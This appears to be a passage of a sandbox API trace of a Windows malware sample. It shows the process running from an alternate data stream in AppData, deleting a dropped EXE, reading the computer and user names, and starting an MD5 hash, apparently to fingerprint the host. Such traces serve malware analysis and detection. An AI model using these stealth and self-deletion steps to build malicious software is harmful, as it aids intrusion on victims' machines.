[0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0165.692] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0165.693] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x36f694 | out: BaseAddress=0x36f694*=0x75cf0000) returned 0x0 [0165.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e840) returned 1 [0165.697] FindClose (in: hFindFile=0x7f2ad0 | out: hFindFile=0x7f2ad0) returned 1 [0165.697] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE", pNumArgs=0x36f6c0 | out: pNumArgs=0x36f6c0) returned 0x803dc8*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0165.697] LocalFree (hMem=0x803dc8) returned 0x0 [0165.697] Wow64DisableWow64FsRedirection (in: OldValue=0x36f6bc | out: OldValue=0x36f6bc*=0x0) returned 1 [0165.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x800) returned 0x2157cf8 [0165.697] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2157cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop~1:bin")) returned 0x2e [0165.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x800) returned 0x2158500 [0165.698] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2158500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop~1:bin")) returned 0x2e [0165.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.700] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4e0 | out: lpFileInformation=0x36f4e0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x6d0f3350, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x6d0f3350, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x6d0f3350, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4dc | out: lpFileInformation=0x36f4dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x6d0f3350, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x6d0f3350, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x6d0f3350, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x184) returned 0x2158d08 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c240 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c900 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c948 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c990 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c9d8 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252ca20 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252ca68 [0165.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252cab0 [0165.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252caf8 [0165.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252cb40 [0165.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252cb88 [0165.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252cbd0 [0165.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2158eb0 [0165.710] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE", dwFileAttributes=0x80) returned 1 [0165.710] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe")) returned 1 [0165.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x2159e98 [0165.711] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x2159e98, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0165.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0165.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2158ef8 [0165.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x2158ef8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2158f40 [0165.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2158ef8) returned 1 [0165.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2158ef8 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2158f88 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2158fd0 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159018 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159060 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x2159e98 [0165.712] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x2159e98, nSize=0x40 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0165.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0165.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0165.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21590a8 [0165.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x21590a8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 20 [0165.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21590f0 [0165.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21590a8) returned 1 [0165.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21590f0) returned 1 [0165.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21590f0 [0165.712] CryptAcquireContextW (in: phProv=0x36f514, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f514*=0x803dc8) returned 1 [0165.713] CryptCreateHash (in: hProv=0x803dc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x36f514 | out: phHash=0x36f514) returned 1 [0165.713] CryptHashData (hHash=0x7f2ad0, pbData=0x2158f88, dwDataLen=0x20, dwFlags=0x0) returned 1 [0165.713] CryptGetHashParam (in: hHash=0x7f2ad0, dwParam=0x4, pbData=0x36f518, pdwDataLen=0x36f524, dwFlags=0x0 | out: pbData=0x36f518, pdwDataLen=0x36f524) returned 1 [0165.713] 